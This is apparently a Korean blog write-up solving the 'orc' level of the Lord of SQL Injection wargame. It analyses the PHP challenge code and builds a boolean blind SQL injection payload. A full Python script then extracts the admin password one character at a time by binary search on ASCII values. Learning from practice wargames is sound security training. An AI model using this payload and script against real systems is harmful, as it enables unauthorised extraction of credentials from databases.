Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- XSS
- JS
- 세션
- MySQL
- lord of sql injection
- CTF
- 게시판 만들기
- php
- union sql injection
- 모의해킹
- css
- JWT
- file upload
- Reflected Xss
- Python
- lord of sqli
- Cross Site Request Forgery
- 웹개발
- blind sql injection
- cors
- 로그인
- sql injection
- 과제
- Error based sql injection
- cookie 탈취
- 쿠키
- 로그인페이지
- sql injection point
- csrf
- Los
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] orc 풀이 본문
LOS 풀이
orc
풀이
1. 코드 분석
이번 문제를 풀기 위해서는 입력한 pw파라미터의 값과 db에서 가져온 pw의 값이 일치해야 합니다.
그렇기 때문에 실제 admin 계정의 비밀번호를 알아내야 하는 것 같습니다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
prob _ . ()를 필터링합니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
이번 문제에서는 쿼리를 두 번 하는데 첫 번째 쿼리의 결과가 존재한다면 Hello admin을 출력해 줍니다.
참과 거짓을 알 수 있어서 blind sql injection이 가능할 것 같습니다.
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
참과 거짓을 구분하기 위한 쿼리를 만들었습니다.
select id from prob_orc where id='admin' and pw='' or (조건) and '1'='1'
2. 쿼리 삽입
필요한 쿼리를 생성하기 위해 기본 format을 만들겁니다.
저는 ascii 코드를 이용한 이진 탐색과 python을 이용할 생각입니다.
substring을 이용해서 pw의 결과를 index 번째 한 글자씩 뽑아내고
ascii를 이용해 ascii 숫자로 변환한 뒤 비교합니다.
그리고 and id = 'admin'을 넣어 id가 admin인 경우의 비밀번호만 불러옵니다.
' or (ascii(substring((pw), index, 1)) > ascii) and id = 'admin
select id from prob_orc
where id='admin' and pw=''
or
(ascii(substring((pw), index, 1)) > ascii) and id = 'admin'
공격 format을 완성했으니 python 코드를 만들어줍니다.
자동으로 los 사이트에 로그인을 한 뒤 phpsessid 쿠키를 가져와서 session에 삽입한 뒤
파라미터를 생성하고 쿼리를 계속 삽입해줍니다.
Hello admin을 포함하는지 여부로 True False를 파악하고
범위를 줄여나가며 결과를 찾는 로직입니다.
import requests
def sqli_request(session, url, index, ascii):
params = {
'pw' : f"' or (ascii(substring((pw), {index}, 1)) > {ascii}) and id = 'admin"
}
response = session.get(url, params=params, proxies=proxies)
# print(params)
# print(response.text)
if "Hello admin" in response.text:
return True
else:
return False
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
login_url = "https://los.rubiya.kr/?login"
session = requests.Session()
session_id = requests.post(login_url, {
'id' : '아이디',
'pw' : '비밀번호',
}, allow_redirects=False).cookies.get_dict()['PHPSESSID']
# print(session_id)
session.cookies.set('PHPSESSID', session_id)
sql_result = ""
proxies = {
"http": "http://localhost:8080"
}
index = 1
while True:
left = 0
right = 127
if not sqli_request(session, url, index, 0):
sql_result = ""
print("\n")
break
while True:
mid = (left + right) // 2
if sqli_request(session, url, index, mid):
left = mid + 1
else:
right = mid
if left == right:
index += 1
sql_result += chr(left)
print(f"\rData : {sql_result}", end="")
break
'모의해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] darkelf 풀이 (0) | 2025.01.06 |
---|---|
[Lord of SQL Injection] wolfman 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] goblin 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] cobolt 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] gremlin 풀이 (0) | 2025.01.06 |